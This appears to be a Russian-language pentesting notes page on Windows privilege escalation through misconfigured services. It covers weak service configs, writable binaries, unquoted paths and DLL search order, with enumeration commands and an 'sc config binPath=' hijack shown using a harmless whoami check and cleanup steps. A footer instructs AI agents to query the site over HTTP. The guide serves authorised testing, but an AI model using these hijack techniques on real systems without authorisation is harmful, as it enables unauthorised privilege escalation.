> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/windows-vulnerabilities/vulnerable-services-and-processes/windows-service-misconfigurations.md).

# Неверные настройки служб Windows

Службы — один из самых распространённых путей повышения привилегий в Windows, потому что они часто выполняются от имени `LocalSystem` при этом указывая на файлы или разрешения, на которые обычные пользователи могут влиять.

## Что нужно подтвердить

Прежде чем что-либо менять, подтвердите четыре вещи:

* Служба работает от имени привилегированной учетной записи, такой как `LocalSystem`, `LocalService`, `NetworkService`, или локального/доменного администратора.
* Вы можете изменить конфигурацию службы, исполняемый файл службы или родительский путь, используемый при запуске.
* Вы можете перезапустить службу, вызвать приложение или дождаться перезагрузки.
* Путь и архитектура соответствуют полезной нагрузке или проверочному бинарному файлу, который вы собираетесь запустить.

## Перечислить службы

```cmd
sc query state= all
sc qc <service_name>
sc sdshow <service_name>
wmic service get name,displayname,startname,state,pathname
```

```powershell
Get-WmiObject Win32_Service |
  Select-Object Name,StartName,State,PathName |
  Sort-Object StartName,Name
```

## Слабая конфигурация службы

Если ваш пользователь может изменить путь к бинарному файлу службы и служба работает с повышенными привилегиями, сначала укажите вместо него разрешённую проверочную команду.

```cmd
sc qc <service_name>
sc config <service_name> binPath= "cmd /c whoami > C:\Windows\Temp\svc-check.txt"
sc stop <service_name>
sc start <service_name>
type C:\Windows\Temp\svc-check.txt
```

AccessChk полезен для чтения разрешений службы в более понятном формате:

```cmd
accesschk.exe /accepteula -uwcqv <user_or_group> <service_name>
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
```

К интересным правам относятся `SERVICE_CHANGE_CONFIG`, `SERVICE_START`, `SERVICE_STOP`а также широкие права на запись для `Users`, `Проверенные пользователи`или `Все`.

## Записываемый бинарный файл службы

Если исполняемый файл службы доступен для записи, сохраните копию исходного файла, заменяйте его только в пределах проверки и восстанавливайте после тестирования.

```cmd
sc qc <service_name>
icacls "C:\Path\To\Service.exe"
copy "C:\Path\To\Service.exe" C:\Windows\Temp\Service.exe.bak
```

```powershell
Get-Acl "C:\Path\To\Service.exe" | Format-List
```

## Путь к службе без кавычек

Путь без кавычек представляет интерес, когда он содержит пробелы и Windows может выполнить поиск в записываемом родительском каталоге, прежде чем дойти до настоящего исполняемого файла.

```cmd
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
```

Пример уязвимой формы:

```
C:\Program Files\Vendor App\Service Folder\service.exe
```

Проверьте каждый родительский каталог на наличие прав на запись:

```cmd
icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
```

К потенциально искомым именам относятся:

```
C:\Program.exe
C:\Program Files\Vendor.exe
C:\Program Files\Vendor App\Service.exe
```

## Проблемы порядка поиска DLL

Некоторые службы загружают DLL по имени, а не по полному пути. Это становится эксплуатационно пригодным, когда записываемый каталог проверяется раньше, чем законное расположение DLL.

```cmd
procmon.exe
```

Фильтр:

```
Имя процесса — <service.exe>
Результат — NAME NOT FOUND
Путь заканчивается на .dll
```

## Автоматические проверки

```powershell
Import-Module .\PowerUp.ps1
команды Invoke-AllChecks
```

```cmd
winPEASx64.exe servicesinfo
```

## Очистка

```cmd
sc config <service_name> binPath= "<original_binary_path>"
sc start <service_name>
del C:\Windows\Temp\svc-check.txt
```

## Ключевые моменты

* Записываемая служба полезна только если она выполняется с более высокими привилегиями.
* Возможность перезапуска имеет значение. Если её нет, отметьте, вызовет ли службу перезагрузка или использование приложения.
* Результаты по путям служб должны включать точный путь, доказательства прав доступа, учетную запись службы и условие срабатывания.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/windows-vulnerabilities/vulnerable-services-and-processes/windows-service-misconfigurations.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
